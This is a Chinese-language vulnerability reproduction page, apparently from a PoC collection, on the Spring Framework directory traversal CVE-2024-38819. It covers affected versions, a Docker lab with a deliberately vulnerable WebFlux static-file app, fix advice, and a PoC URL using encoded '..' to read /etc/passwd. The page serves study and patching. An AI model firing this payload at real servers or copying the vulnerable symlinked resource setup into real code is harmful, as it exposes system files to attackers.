Awesome-POC/开发框架漏洞/Spring Framework 特定条件下目录遍历漏洞 CVE-2024-38819.md
2024-12-18 10:48:59 +08:00

149 lines
4.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Spring Framework 特定条件下目录遍历漏洞 CVE-2024-38819
## 漏洞描述
Spring 框架是 Java 平台的一个开源的全栈应用程序框架和控制反转容器实现。2024 年 10 月Spring 官方发布公告披露 CVE-2024-38819 Spring Framework 特定条件下目录遍历漏洞。该漏洞类似 CVE-2024-38816当 Spring 通过 WebMvc.fn 或者 WebFlux.fn 对外提供静态文件时,攻击者可构造恶意请求遍历读取系统上的文件。
参考链接:
- https://github.com/masa42/CVE-2024-38819-POC
- https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1
- https://spring.io/security/cve-2024-38819
## 漏洞影响
影响范围:
```
Spring Framework 5.3.0 - 5.3.40
Spring Framework 6.0.0 - 6.0.24
Spring Framework 6.1.0 - 6.1.13
其他更老或者官方已不支持的版本
```
安全版本:
```
Spring Framework 5.3.41
Spring Framework 6.0.25
Spring Framework 6.1.14
```
## 环境搭建
通过项目 [CVE-2024-38819-POC](https://github.com/masa42/CVE-2024-38819-POC) 搭建一个 Spring Boot 3.3.4(基于 Spring Framework 6.1.13 漏洞环境:
```
git clone https://github.com/masa42/CVE-2024-38819-POC.git
cd vuln
docker build -t cve-2024-38819-poc .
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
```
Dockerfile
```
# Build stage
FROM gradle:7.6.1-jdk17 AS build
WORKDIR /home/gradle/project
COPY --chown=gradle:gradle . .
RUN gradle build --no-daemon
# Execution stage
FROM openjdk:17-jdk-slim
WORKDIR /app
COPY --from=build /home/gradle/project/build/libs/*.jar app.jar
# Directory for storing static files
RUN mkdir /static
# Root directory for FileSystemResource
RUN mkdir /app/static
# Symbolic link from the FileSystemResource directory to the static files directory
RUN ln -s /static /app/static/link
EXPOSE 8080
ENTRYPOINT ["java", "-jar", "app.jar"]
```
启动环境后,访问 `http://your-ip:8080` 即可,无主页,显示 404。
## 漏洞复现
构建一段代码,使 Spring Framework 通过 WebFlux.fn 提供静态文件访问功能。build.gradle 中的 `dependencies` 使用了 `spring-boot-starter-webflux`,表明这是一个基于 Spring WebFlux 的项目,而非传统的 `spring-boot-starter-web`
build.gradle
```
plugins {
id 'org.springframework.boot' version '3.3.4'
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
id 'java'
}
group = 'com.example'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '17'
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-webflux:3.3.4'
}
tasks.named('test') {
useJUnitPlatform()
}
bootJar {
mainClass.set('com.example.PathTraversalDemoApplication')
}
```
./src/main/java/com/example/PathTraversalDemoApplication.java
```java
package com.example;
import org.springframework.core.SpringVersion;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.core.io.FileSystemResource;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;
@SpringBootApplication
public class PathTraversalDemoApplication {
public static void main(String[] args) {
SpringApplication.run(PathTraversalDemoApplication.class, args);
}
@Bean
public RouterFunction<ServerResponse> staticResourceRouter() {
System.out.println("Spring Framework Version: " + SpringVersion.getVersion());
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
}
```
poc
```
http://your-ip:8080/static/link/%2e%2e/etc/passwd
```
![](images/Spring%20Framework%20特定条件下目录遍历漏洞%20CVE-2024-38819/image-20241218103537736.png)
## 漏洞修复
1. 建议更新至最新版本。
2. 排查代码中是否有类似使用,结合实际情况可确认是否受影响。